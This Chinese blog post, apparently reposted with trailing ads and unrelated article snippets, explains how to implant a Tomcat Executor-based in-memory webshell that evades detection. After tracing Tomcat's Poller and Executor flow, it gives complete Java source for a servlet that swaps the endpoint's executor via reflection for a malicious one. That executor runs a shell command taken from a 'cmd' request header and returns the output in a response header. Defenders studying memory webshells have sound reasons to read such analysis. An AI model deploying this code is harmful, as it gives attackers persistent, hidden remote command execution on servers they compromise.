当前位置: 首页 > news >正文

绕过检测之Executor内存马浅析(内存马系列篇五)

写在前面

前面已经从代码层面讲解了Tomcat的架构,这是内存马系列文章的第五篇,带来的是Tomcat
Executor类型的内存马实现。有了前面第四篇中的了解,才能更好的看懂内存马的构造。

前置

什么是Executor

Executor是一种可以在Tomcat组件之间进行共享的连接池。

我们可以从代码中观察到对应的描述:

The Executor implementations provided in this package implement
ExecutorService, which is a more extensive interface. The ThreadPoolExecutor
class provides an extensible thread pool implementation. The Executors class
provides convenient factory methods for these Executors.
Memory consistency effects: Actions in a thread prior to submitting a
Runnable object to an Executor happen-before its execution begins, perhaps
in another thread.

image-20220912172909884.png

Executes the given command at some time in the future. The command may
execute in a new thread, in a pooled thread, or in the calling thread, at
the discretion of the Executor implementation.
Params: command – the runnable task
Throws: RejectedExecutionException – if this task cannot be accepted for
execution
NullPointerException – if command is null

对于他的作用,允许为一个Service的所有Connector配置一个共享线程池。

在运行多个Connector的状况下,这样处理非常有用,而且每个Connector必须设置一个maxThread值,但不希望Tomcat实例并发使用的线程最大数永远与所有连接器maxThread数量的总和一样高。

这是因为如果这样处理,则需要占用太多的硬件资源。相反,您可以使用Executor元素配置一个共享线程池,而且所有的Connector都能共享这个线程池。

分析流程

通过上篇文章的分析我们知道,

在启动Tomcat的时候首先会。

调用启动类,并传入参数start预示着Tomcat启动:

image-20220912175409785.png

这里调用start方法进行相关配置的初始化操作,

一直走到了org.apache.catalina.startup.Catalina类中load方法中调用了。this.getServer().init()方法进行Server的初始化操作,

即调用了LifecycleBase#init方法,进而调用了initInternal方法,即来到了他的实现类StandardServer#initInternal中来了。

image-20220912180117577.png

上篇中也提到过,将会循环的调用所有service的init方法,进而调用了StandardService#initInternal方法进行初始化,调用了Engine#init方法,因为没有配置Executor,所以在初始化的时候不会调用他的init方法,之后再调用mapperListener.init()进行Listener的初始化操作,在获取了所有的connector之后将会循环调用其init方法进行初始化。

image-20220912180558740.png

在初始化结束之后将会调用start方法

image-20220912193917307.png

即调用了Bootstrap#start方法,进而调用了Server.start方法

来到了StandardService#startInternal方法,紧跟着调用了上面调用了Init方法的start方法,成功启动Tomcat。

正文

接下来我们来分析一下为什么选用Executor来构造内存马,和如构造内存的流程。

分析注入方式

在成功开启了Tomcat之后,我们可以在Executor中的execute方法中打下断点,

image-20220912195616660.png

之后运行访问8080端口

在前面那一篇文章中我们知道Acceptor是生产者,而Poller是消费者,

在执行Endpoint.start()会开启Acceptor线程来处理请求。

在其run方法中存在

  1. 运行过程中,如果Endpoint暂停了,则Acceptor进行自旋(间隔50毫秒);

  2. 如果Endpoint终止运行了,则Acceptor也会终止;

  3. 如果请求达到了最大连接数,则wait直到连接数降下来;

  4. 接受下一次连接的socket。

这一步己经在运行Tomcat容器的时候已经进行了,

在我们访问Tomcat的页面之后将会创建一个线程,并调用target属性的run方法,这里的target就是Poller对象(消费者)。

image-20220912201105821.png

即调用了NioEndpoint$Poller#run方法,跟进

public void run() {while(true) {boolean hasEvents = false;label58: {try {if (!this.close) {hasEvents = this.events();if (this.wakeupCounter.getAndSet(-1L) > 0L) {this.keyCount = this.selector.selectNow();} else {this.keyCount = this.selector.select(NioEndpoint.this.selectorTimeout);}this.wakeupCounter.set(0L);}if (!this.close) {break label58;}this.events();this.timeout(0, false);try {this.selector.close();} catch (IOException var5) {NioEndpoint.log.error(AbstractEndpoint.sm.getString("endpoint.nio.selectorCloseFail"), var5);}} catch (Throwable var6) {ExceptionUtils.handleThrowable(var6);NioEndpoint.log.error("", var6);continue;}NioEndpoint.this.getStopLatch().countDown();return;}if (this.keyCount == 0) {hasEvents |= this.events();}Iterator iterator = this.keyCount > 0 ? this.selector.selectedKeys().iterator() : null;while(iterator != null && iterator.hasNext()) {SelectionKey sk = (SelectionKey)iterator.next();iterator.remove();NioEndpoint.NioSocketWrapper socketWrapper = (NioEndpoint.NioSocketWrapper)sk.attachment();if (socketWrapper != null) {this.processKey(sk, socketWrapper);}}this.timeout(this.keyCount, hasEvents);}
}

首先调用了events方法,查看队列中是否有Pollerevent事件,如果有就将其取出,然后把里面的Channel取出来注册到该Selector中,然后通过迭代器查看所有注册过的Channel查看是否有事件发生。
当有事件发生时,则调用SocketProcessor交给Executor执行。

调用了processKey(sk, socketWrapper)进行处理,

image-20220912213133643.png

该方法又会根据key的类型,来分别处理读和写,

  1. 处理读事件,比如生成Request对象;

  2. 处理写事件,比如将生成的Response对象通过socket写回客户端;

这里处理的是读事件,所以调用了processSocket方法,

image-20220912213448088.png

首先从processorCache中弹出一个Processor来处理socket,

之后调用getExecutor方法获取一个Executor对象。

image-20220912214811923.png

这里的executor是endpoint自己启动的ThreadPoolExecutor类,

在之后将会调用其execute方法。

image-20220912215239958.png

既然它能够调用Executor类的execute方法,那么我们可以创建一个恶意的Executor类继承ThreadPoolExecutor,并重写其中的execute方法,那么在调用该方法的时候将会执行我们的恶意代码。

但是,怎么才能将其中的executor属性值替换成我们的恶意Executor类呢?

我们可以注意到在AbstractEndpoint类中,我们在调用processSocket方法时候提取出来了executor属性值,那么是否有对应的setter方法呢?

image-20220912215740978.png

是的存在一个setExecutor方法,能够替换掉原来的executor属性值,之后在消费者消费的同时将会执行我们的恶意代码。

那么如果编写我们的恶意代码呢?

起码需要实现命令执行和回显的功能吧。

我们总需要获取到reqeust对象,出去对应的参数值,进行命令执行~

我们可以通过项目https://github.com/c0ny1/java-object-searcher来查找利用链,

我们可以发现在当前线程中的可以找到该请求:

((Http11InputBuffer)((NioChannel)((Object[])((SynchronizedStack)((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0).nioChannels).stack)[0]).appReadBufHandler).byteBuffer.hb

可以将这段带入Evaluate进行计算,

image-20220912234357270.png

在这里我们能够获取到我们传入的参数值,之后就可以将其提取出来,进行执行命令。

后面就需要一个回显,回显命令执行之后的结果,如何回显?

我们可以观察到在AbstractProcessor类的构造方法中将会初始化一个Request和Response对象,

image-20220912235935342.png

既然我们需要做出回显,那么我们需要寻找response在哪里,同样可以通过前面那个项目快速搜索到。

((Request)((RequestInfo)((java.util.ArrayList)((RequestGroupInfo)((ConnectionHandler)((NioEndpoint)((Acceptor)((ThreadGroup)((TaskThread)this).group).threads[6].target).this$0).handler).global).processors).get(0)).req).response

image-20220913000750243.png

在知道了reponse的位置之后,我们就能过获取到对应的数据了。

此时的调用栈

prepareResponse:1081, Http11Processor (org.apache.coyote.http11)
action:384, AbstractProcessor (org.apache.coyote)
action:208, Response (org.apache.coyote)
sendHeaders:421, Response (org.apache.coyote)
doFlush:310, OutputBuffer (org.apache.catalina.connector)
close:270, OutputBuffer (org.apache.catalina.connector)
finishResponse:446, Response (org.apache.catalina.connector)
service:395, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

prepareResponse方法中,将会对response进行再次封装,我们只需要提前将我们命令执行后的结果放在reponse中,我们就可以得到回显了。

怎么写入reponse结构中呢?这里不想前面的三种内存马,能够直接创建回显,这里稍微复杂一点,我们可以来到org.apache.catalina.connector.Response这个类中。

image-20220913001636776.png

继承了HttpServletReponse接口,

image-20220913001807060.png

封装了很多方法,可以通过这些方法将回显的数据传回。

所以我们可以得到构造Executor内存马的流程:

  1. 首先获取对应的NioEndpoint(对比上面分析的request和response位置,我们可以知道有一个共同点);

  2. 获取对应的executor属性;

  3. 创建一个恶意的executor;

  4. 将恶意的executor传入。

手把手构造

我们可以通过在当前线程获取NioEndpoint类,为什么可以从当前线程找到呢?

我们可以查看上面寻找request的内存对象路径,

((Http11InputBuffer)((NioChannel)((Object[])((SynchronizedStack)((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0).nioChannels).stack)[0]).appReadBufHandler).byteBuffer.hb

其中有一段就是NioEndpoint类,

((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0)

所以我们可以编写获取方法,

public Object getNioEndpoint() {// 获取当前线程的所有线程Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");for (Thread thread : threads) {try {// 需要获取线程的特征包含Acceptorif (thread.getName().contains("Acceptor")) {Object target = getField(thread, "target");Object nioEndpoint = getField(target, "this$0");return nioEndpoint;}} catch (Exception e) {continue;}}// 没有获取到对应Endpoint,返回一个空对象return new Object();
}

之后获取NioEndpoint类的executor属性,

本身在NioEndpoint类中并没有executor属性,但是我们可以观察该类的继承关系。

image-20220913114245364.png

在他的父类AbstractEndpoint类中是存在这个属性的,

ThreadPoolExecutor executor = (ThreadPoolExecutor) getField(nioEndpoint, "executor");

之后我们需要创建一个恶意的executor,需要实现命令执行和回显操作。

这一步可以分为好几步,首先需要获取到request对象中需要执行的命令,

对于request对象的获取可以结合上面贴的Evaluate进行构造:

public String getRequest() {try {// 通过调用getNioEndpoint方法获取到NioEndpoint对象Object nioEndpoint = getNioEndpoint();// 获取到stack数组Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");// 获取到BufferByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");String req = new String(heapByteBuffer.array(), "UTF-8");// 分割出commandString cmd = req.substring(req.indexOf("cmd") + "cmd".length() + 1, req.indexOf("\r", req.indexOf("cmd")) - 1);return cmd;} catch (Exception e) {System.out.println(e);return null;}
}

大概提一下,为什么这里是+1不是+1不是我们在请求头冒号后面不是有一个空格吗,不是应该+2嘛,不是的,通过调用,我发现在获取的req中并没有空格存在,所以这里是+1。

而后面为什么要-1,就是因为在获取req中最后一个字符又存在两次,

image-20220913151232613.png

之后同样需要能够将执行结果写入reponse,

同样,因为response是封装在req对象中的,由此思路可以在当前线程中获取到response对象。

之后通过addHeader方法将结果写入返回头中,

// 获取命令执行返回的回显结果
public void getResponse(byte[] res) {try {// 获取NioEndpoint对象Object nioEndpoint = getNioEndpoint();// 获取线程中的response对象ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");// 遍历获取responsefor (Object processor : processors) {RequestInfo requestInfo = (RequestInfo) processor;// 获取到封装在req的responseResponse response = (Response) getField(getField(requestInfo, "req"), "response");// 将执行的结果写入response中response.addHeader("Execute-result", new String(res, "UTF-8"));}} catch (Exception e) {}
}

最后一步就是重写Exector的execute方法了。

执行命令,将结果输入流写入response中去,

public void execute(Runnable command) {// 获取commandString cmd = getRequest();try {String[] cmds = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};byte[] result = new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next().getBytes();getResponse(result);} catch (Exception e) {}this.execute(command, 0L, TimeUnit.MILLISECONDS);
}

最后就需要将我们构造的恶意executor传入,

nioEndpoint.setExecutor(exe);

完整的内存马

package pres.test.momenshell;import org.apache.coyote.Response;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.NioEndpoint;
import org.apache.tomcat.util.threads.ThreadPoolExecutor;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.TimeUnit;public class AddTomcatExecutor extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {doPost(req, resp);}public Object getField(Object obj, String field) {// 递归获取类的及其父类的属性Class clazz = obj.getClass();while (clazz != Object.class) {try {Field declaredField = clazz.getDeclaredField(field);declaredField.setAccessible(true);return declaredField.get(obj);} catch (Exception e) {clazz = clazz.getSuperclass();}}return null;}public Object getNioEndpoint() {// 获取当前线程的所有线程Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");for (Thread thread : threads) {try {// 需要获取线程的特征包含Acceptorif (thread.getName().contains("Acceptor")) {Object target = getField(thread, "target");Object nioEndpoint = getField(target, "this$0");return nioEndpoint;}} catch (Exception e) {e.printStackTrace();continue;}}// 没有获取到对应Endpoint,返回一个空对象return new Object();}class executorEvil extends ThreadPoolExecutor {public executorEvil(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);}public String getRequest() {try {// 通过调用getNioEndpoint方法获取到NioEndpoint对象Object nioEndpoint = getNioEndpoint();// 获取到stack数组Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");// 获取到BufferByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");String req = new String(heapByteBuffer.array(), "UTF-8");// 分割出commandString cmd = req.substring(req.indexOf("cmd") + "cmd".length() + 1, req.indexOf("\r", req.indexOf("cmd")) - 1);return cmd;} catch (Exception e) {e.printStackTrace();return null;}}// 获取命令执行返回的回显结果public void getResponse(byte[] res) {try {// 获取NioEndpoint对象Object nioEndpoint = getNioEndpoint();// 获取线程中的response对象ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");// 遍历获取responsefor (Object processor : processors) {RequestInfo requestInfo = (RequestInfo) processor;// 获取到封装在req的responseResponse response = (Response) getField(getField(requestInfo, "req"), "response");// 将执行的结果写入response中response.addHeader("Execute-result", new String(res, "UTF-8"));}} catch (Exception e) {e.printStackTrace();}}@Overridepublic void execute(Runnable command) {// 获取commandString cmd = getRequest();try {String[] cmds = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};byte[] result = new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next().getBytes();getResponse(result);} catch (Exception e) {e.printStackTrace();}this.execute(command, 0L, TimeUnit.MILLISECONDS);}}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 从线程中获取NioEndpoint类NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();// 获取executor属性ThreadPoolExecutor executor = (ThreadPoolExecutor) getField(nioEndpoint, "executor");// 实例化我们的恶意executor类executorEvil evil = new executorEvil(executor.getCorePoolSize(), executor.getMaximumPoolSize(), executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(), executor.getThreadFactory(), executor.getRejectedExecutionHandler());// 将恶意类传入nioEndpoint.setExecutor(evil);}
}

简单示例

我们可以创建一个继承了HttpServlet的类,就是上面的完整内存马。

我们通过方法这个Servlet的方法写入内存马,

在web.xml中添加路由映射,

<servlet><servlet-name>AddTomcatExecutor</servlet-name><servlet-class>pres.test.momenshell.AddTomcatExecutor</servlet-class>
</servlet>
<servlet-mapping><servlet-name>AddTomcatExecutor</servlet-name><url-pattern>/addTomcatExecutor</url-pattern>
</servlet-mapping>

在开启Tomcat之后,访问该路由,

将会成功写入内存马,

之后通过burp发送数据包,加上一个cmd的请求头,后面包含执行的命令。

image-20220913153442864.png

成功执行命令并回显。

总结

这个是一个比较新颖的内存马思路,使用了Connector中的组件构造出了独特的内存马。

同样可以一定程度上绕过检测与查杀,当然后面会有几篇和查杀有关的篇章,将会进行比较各个内存马的差异。

构造内存马思路:

  1. 首先获取对应的NioEndpoint(对比上面分析的request和response位置,我们可以知道有一个共同点);

  2. 获取对应的executor属性;

  3. 创建一个恶意的executor;

  4. 将恶意的executor传入。

Reference

https://xz.aliyun.com/t/11593

<servlet-mapping><servlet-name>AddTomcatExecutor</servlet-name><url-pattern>/addTomcatExecutor</url-pattern>
</servlet-mapping>

在开启Tomcat之后,访问该路由,

将会成功写入内存马,

之后通过burp发送数据包,加上一个cmd的请求头,后面包含执行的命令。

[外链图片转存中…(img-8WKenPeC-1677499445548)]

成功执行命令并回显。

总结

这个是一个比较新颖的内存马思路,使用了Connector中的组件构造出了独特的内存马。

同样可以一定程度上绕过检测与查杀,当然后面会有几篇和查杀有关的篇章,将会进行比较各个内存马的差异。

构造内存马思路:

  1. 首先获取对应的NioEndpoint(对比上面分析的request和response位置,我们可以知道有一个共同点);

  2. 获取对应的executor属性;

  3. 创建一个恶意的executor;

  4. 将恶意的executor传入。

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

相关文章:

绕过检测之Executor内存马浅析(内存马系列篇五)

写在前面 前面已经从代码层面讲解了Tomcat的架构&#xff0c;这是内存马系列文章的第五篇&#xff0c;带来的是Tomcat Executor类型的内存马实现。有了前面第四篇中的了解&#xff0c;才能更好的看懂内存马的构造。 前置 什么是Executor Executor是一种可以在Tomcat组件之间…...

《C++模板进阶》

致前行的人&#xff1a; 要努力&#xff0c;但不要着急&#xff0c;繁花锦簇&#xff0c;硕果累累都需要过程&#xff01; 目录 前言&#xff1a; 1.非类型模板参数 1.1.概念&#xff1a; 1.2.使用注意事项 2.模板特化 2.1函数模板特化 2.2类模板特化 3.模板的分离编译 3.1什么…...

【项目管理】项目进度管理中的逻辑关系

项目的进度管理是项目核心管理之一&#xff0c;通过合理的进度安排&#xff0c;制定出科学可行的分项工期表&#xff0c;并条理清晰的显示出项目进度之间的逻辑关系。 1、目标是计划的灵魂 进度计划必须按照确定的项目总进度要求进行编制&#xff0c;了解项目总目标和整体安…...

ARM的汇编指令集

一、汇编指令 1.1 指令与伪指令 汇编的指令 指令是CPU机器指令的助记符&#xff0c;编译后会得到一串二进制机器码&#xff0c;由CPU执行 汇编的伪指令 伪指令本质上不是指令&#xff0c;它是编译器环境提供用来指导编译过程&#xff0c;编译后伪指令不会生成机器码 伪指令…...

@font-face用法超详细讲解

文章目录font-face是什么font-face基本语法urlTTFOTFEOTWOFFSVGformatfont-face用法示例font字体下载ttf-to-eot 字体转换器https://blog.csdn.net/qq_37417446/article/details/106728725 https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-face font-face是什么 font-…...

[oeasy]python0095_乔布斯求职_雅达利_atari_breakout_打砖块_布什内尔_游戏机_Jobs

编码进化 回忆上次内容 上次 我们回顾了 电子游戏的历史 从 电子游戏鼻祖 双人网球到 视频游戏 PingPong再到 街机游戏 Pong 雅达利 公司 来了 嬉皮士 捣乱&#xff1f;&#x1f914; 布什内尔 会如何 应对 呢&#xff1f;&#x1f914; 布什内尔 布什内尔 本身就有点 …...

全景极简印度史

转自&#xff1a;印度简史 - 知乎 (zhihu.com)印度是世界上最早出现文明的地区之一&#xff0c;印度河是其文明的发源地。古印度文明的疆域曾包括今印度共和国、巴基斯坦、孟加拉国、阿富汗斯坦南部部分地区和尼泊尔。史前时代200万年前&#xff0c;巴基斯坦北部的希瓦利克遗址…...

《设计模式》模板方法

《设计模式》模板方法 模板方法是一种行为型设计模式&#xff0c;用于定义一个算法的框架&#xff0c;而将一些步骤的实现留给子类来完成。模板方法在基类中定义了一个模板方法&#xff0c;该方法确定了算法的基本结构&#xff0c;然后将一些步骤的实现交给子类去完成。这个模…...

Linux环境内存管理——链表

我是荔园微风&#xff0c;作为一名在IT界整整25年的老兵&#xff0c;今天我们来重新审视一下Windows程序员如何学习Linux环境内存管理。由于很多程序在Windows环境下开发好后&#xff0c;还要部署到Linux服务器上去&#xff0c;所以作为Windows程序员有必要学习Linux环境的内存…...

String、StringBuffer、StringBuilder类

String类 由多个字符组成的一串数据,值一旦创建不可改变 private final char value[]; 一旦值改变,就会创建新的对象 String s "abc"; //char[] c {a,b,c}s"def"; // 并不是String的值改变,而是创建了一个新的对象s"gh";s"aaa"…...

在VScode中添加Linux中的Docker容器中的Python解释器

VScode编辑器在安装好Python插件之后会自动选择环境变量中排序最高的那一个解释器作为默认解释器&#xff0c;而想要额外添加新的Python解释器就需要自己设置。 VScode编辑器安装在本地电脑 支持Python的docker安装在远程服务器 第一步&#xff0c;在/usr/local/下新建pytho…...

无法将“django-admin”项识别为cmdlet,函数,脚本文件或可运行程序的名称问题

无法将“django admin”项识别为cmdlet&#xff0c;函数&#xff0c;脚本文件或可运行程序的名称问题 小提示&#xff1a;首先检查一下有没有拼写错误&#xff01;&#xff01;&#xff01;没有的话请继续 我们要知道django装到哪里去了 pip show django 注意&#xff1a;3.0…...

乐友商城学习笔记(十五)

无状态登陆原理 在服务器端保存session 无状态不需要session&#xff0c;把登陆状态保存在cookie中 jwtrsa token&#xff1a;登陆时&#xff0c; jwt oath2 jwt&#xff1a;头信息&#xff08;jwt&#xff09; 载荷&#xff08;用户信息&#xff0c;签发人&#xff0c;签发时…...

目标检测论文阅读:CBNet算法笔记

标题&#xff1a;CBNet: A Composite Backbone Network Architecture for Object Detection 期刊&#xff1a;TIP2022 论文地址&#xff1a;https://ieeexplore.ieee.org/document/9932281/ 官方代码&#xff1a;https://github.com/VDIGPKU/CBNetV2 作者单位&#xff1a;北京大…...

vue前端与Java后端进行跨域交互

1.后端的几种解决方法 1.在Controller上面加上CrossOrigin 2.写一个配置文件并且在Controller层加上注解CORSConfig package com.wolwo.langyage.base.util;import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configurat…...

【设计模式】2.抽象工厂模式

抽象工厂模式 前面介绍的工厂方法模式中考虑的是一类产品的生产&#xff0c;如畜牧场只养动物、电视机厂只生产电视机、传智播客只培养计算机软件专业的学生等。 这些工厂只生产同种类产品&#xff0c;同种类产品称为同等级产品&#xff0c;也就是说&#xff1a;工厂方法模式…...

Telnet 基础实验1: Telnet 实验

Telnet 基础实验1&#xff1a; Telnet 实验 拓扑图 配置命令 R1 的配置 undo ter mo sys sys R1 interface g0/0/0 ip address 192.168.1.1 255.255.255.0 qR2 的配置 undo ter mo system-view sysname R2 interface g0/0/0 ip address 192.168.1.2 255.255.255.0 q两台设…...

机器学习经典算法——决策树(Decision Tree)

决策树的基本原理 决策树是⼀种分⽽治之的决策过程。⼀个困难的预测问题&#xff0c;通过树的分⽀节点&#xff0c;被划分成两个或多个较为简单的⼦集&#xff0c;从结构上划分为不同的⼦问题。将依规则分割数据集的过程不断递归下去。随着树的深度不断增加&#xff0c;分⽀节…...

MySQl总结

文章目录MySQL数据库的常见考点1、ACID事务原理事务持久性事务原子性MVCC基本概念MVCC基本原理undo logundo log版本链readviewMVCC实现原理RC读已提交RR可重复读MVCC实现原理总结2、并发事务引发的问题3、事务隔离级别4、索引索引结构BTreeHash面试题索引分类思考题语法性能分…...

【学习笔记】NOIP爆零赛7

结论专场&#xff0c;结果被踩暴了 青鱼和序列 赛时的做法是&#xff0c;维护∑aii\sum a_i\times i∑ai​i的取值&#xff0c;发现只和最后一次操作222的位置有关&#xff0c;于是递推O(n)O(n)O(n)解决。 赛后发现还有更神奇的结论 第二个结论是&#xff0c;第一次进行操作…...

一文读懂账号体系产品设计

一、账号体系的概念及价值账号体系是用户在各平台上的通行证。平台给与用户可持续的服务&#xff0c;用户在平台上获取价值&#xff0c;中间的媒介&#xff0c;便是账号体系。阿境将其理解为维系用户与平台之间的枢纽。注&#xff1a;本文中&#xff0c;账号账户&#xff0c;二…...

从“入门”到“专家”,一份3000字完整的性能测试体系的知识分享

随着科技的飞速发展&#xff0c;软件产品广泛应用于各个行业领域&#xff0c;人们对计算机和网络的依赖性越来越大&#xff0c;对新奇事物也越来越感兴趣&#xff0c;成千上万的用户活跃在庞大的网络系统中&#xff0c;这给提供服务的系统带来严重的负荷&#xff0c;"高并…...

构建对话机器人:Rasa3安装和基础入门

在开源对话机器人中&#xff0c;Rasa社区很活跃&#xff0c;在国内很多企业也在使用Rasa做对话机器人&#xff0c;有rasa开发经验的往往是加分项。 当年实习的时候接触到了Rasa&#xff0c;现在工作中也使用Rasa&#xff0c;因此&#xff0c;写写一些经验文档&#xff0c;有助后…...

Spark计算框架入门笔记

Spark是一个用于大规模数据处理的统一计算引擎 注意&#xff1a;Spark不仅仅可以做类似于MapReduce的离线数据计算&#xff0c;还可以做实时数据计算&#xff0c;并且它还可以实现类似于Hive的SQL计算&#xff0c;等等&#xff0c;所以说它是一个统一的计算引擎 既然说到了Spar…...

入职数据分析公认的好书|建议收藏

众所周知&#xff0c;数据分析经常出现在我们的日常生活中&#xff0c;各行各业都需要数据分析。可你知道什么是数据分析&#xff1f;它在企业里到底扮演什么角色&#xff1f;以及如果我们自己也想拥有数据分析的能力&#xff0c;以便更好的满足数据分析的需求&#xff0c;我们…...

Linux查找文件和目录,重定向输出 ,系统默认运行级别的查看和设置理论和练习

♥️作者&#xff1a;小刘在C站 ♥️个人主页&#xff1a;小刘主页 ♥️每天分享云计算网络运维课堂笔记&#xff0c;努力不一定有收获&#xff0c;但一定会有收获加油&#xff01;一起努力&#xff0c;共赴美好人生&#xff01; ♥️夕阳下&#xff0c;是最美的绽放&#xff0…...

Redis源码---键值对中字符串的实现,用char*还是结构体

目录 前言 为什么 Redis 不用 char*&#xff1f; char* 的结构设计 操作函数复杂度 SDS 的设计思想 SDS 结构设计 SDS 操作效率 紧凑型字符串结构的编程技巧 小结 前言 对于 Redis 来说&#xff0c;键值对中的键是字符串&#xff0c;值有时也是字符串在 Redis 中写入一…...

算法 - 剑指Offer 表示数值的字符串

题目 请实现一个函数用来判断字符串是否表示数值&#xff08;包括整数和小数&#xff09;。 数值&#xff08;按顺序&#xff09;可以分成以下几个部分&#xff1a; 若干空格 一个 小数 或者 整数 &#xff08;可选&#xff09;一个 ‘e’ 或 ‘E’ &#xff0c;后面跟着一个 …...

初识机器学习

监督学习与无监督学习supervised learning&#xff1a;监督学习&#xff0c;给出的训练集中有输入也有输出&#xff08;标签&#xff09;&#xff08;也可以说既有特征又有目标&#xff09;&#xff0c;在此基础上让计算机进行学习。学习后通过测试集测试给相应的事物打上标签。…...

VsCode安装PlatformIO 开发ESP arduino,买的板子或者随便ESP,PlatformIO添加Board(不是自定义Board)

这次主要记录怎么给新建选板子的时候没有的板子下程序 我这里是一块 WiFi Kit 32 (V3) PlatformIO里面只有到V2 先从头开始&#xff0c;安装PlatformIO 安装PlatformIO 直接搜索安装 安装有时候会比较慢&#xff0c;左侧出现蚂蚁图标之后点击会显示 右下角会提示正在安…...

孝感做网站/搜索引擎的四个组成部分及作用

发现一个问题&#xff0c;我phpmyadmin竟然可以随便用一个帐号和空密码登录。现在设置下phpmyadmin不允许使用空密码登录。解决办法&#xff1a;&#xff08;1&#xff09;修改phpmyadmin文件config.inc.php(根目录)或config.default.php(根目录)或libraries\config.default.ph…...

高端的环保行业网站开发/网络营销主要干什么

一个服务(service)通常指的是已知的接口或者抽象类&#xff0c;服务提供方就是对这个接口或者抽象类的实现&#xff0c;然后按spi标准存放到资源路径META-INF/services目录下&#xff0c;文件的命名为该服务接口的全限定名。如有一个服务接口com.test.Service&#xff0c;其服务…...

做影视网站风险大/推广普通话主题手抄报

准备好工具包,微软的IE SDK里包含这些工具, 但是那个开发包太过庞大,而且操作起来也稍微得繁琐了一些你只需要下载这么几个文件就可以了 文中提到的数字签名工具包&#xff0c;请在此处下载 http://files.cnblogs.com/babyt/SignTool.rar 首先我们要制作一个证书 进入DOS模式下…...

做酒水网站有哪些/长沙网络推广营销

「 周四见 」公开课分享时间&#xff1a;2019年1月3日20:30本周四见不见不散~周四见|知数堂公开课系列之《变化多端的SQL写法及性能》分享方式   线上直播&#xff0c;不限地域&#xff0c;火星也行1腾讯课堂直播不想下载客户端&#xff0c;想点开就能听课&#xff0c;没问题…...

微网站平台怎样做网站/深圳网站建设三把火科技

NetworkWorld近日发文对Flame&#xff08;火焰&#xff09;&#xff0c;这个号称比震网和毒酷更强大的恶意软件进行了解读。 原文参见这里&#xff0c;通俗易懂。 【参考】 Anonymous几天之内攻陷500多个中国网站 TrendMicro&#xff1a;针对印日的LuckyCat*** symantec&#x…...

做一建真题的网站/seo相关岗位

2019独角兽企业重金招聘Python工程师标准>>> btn.layer.anchorPoint CGPointMake(0.5, 1); 转载于:https://my.oschina.net/gongxiao/blog/503793...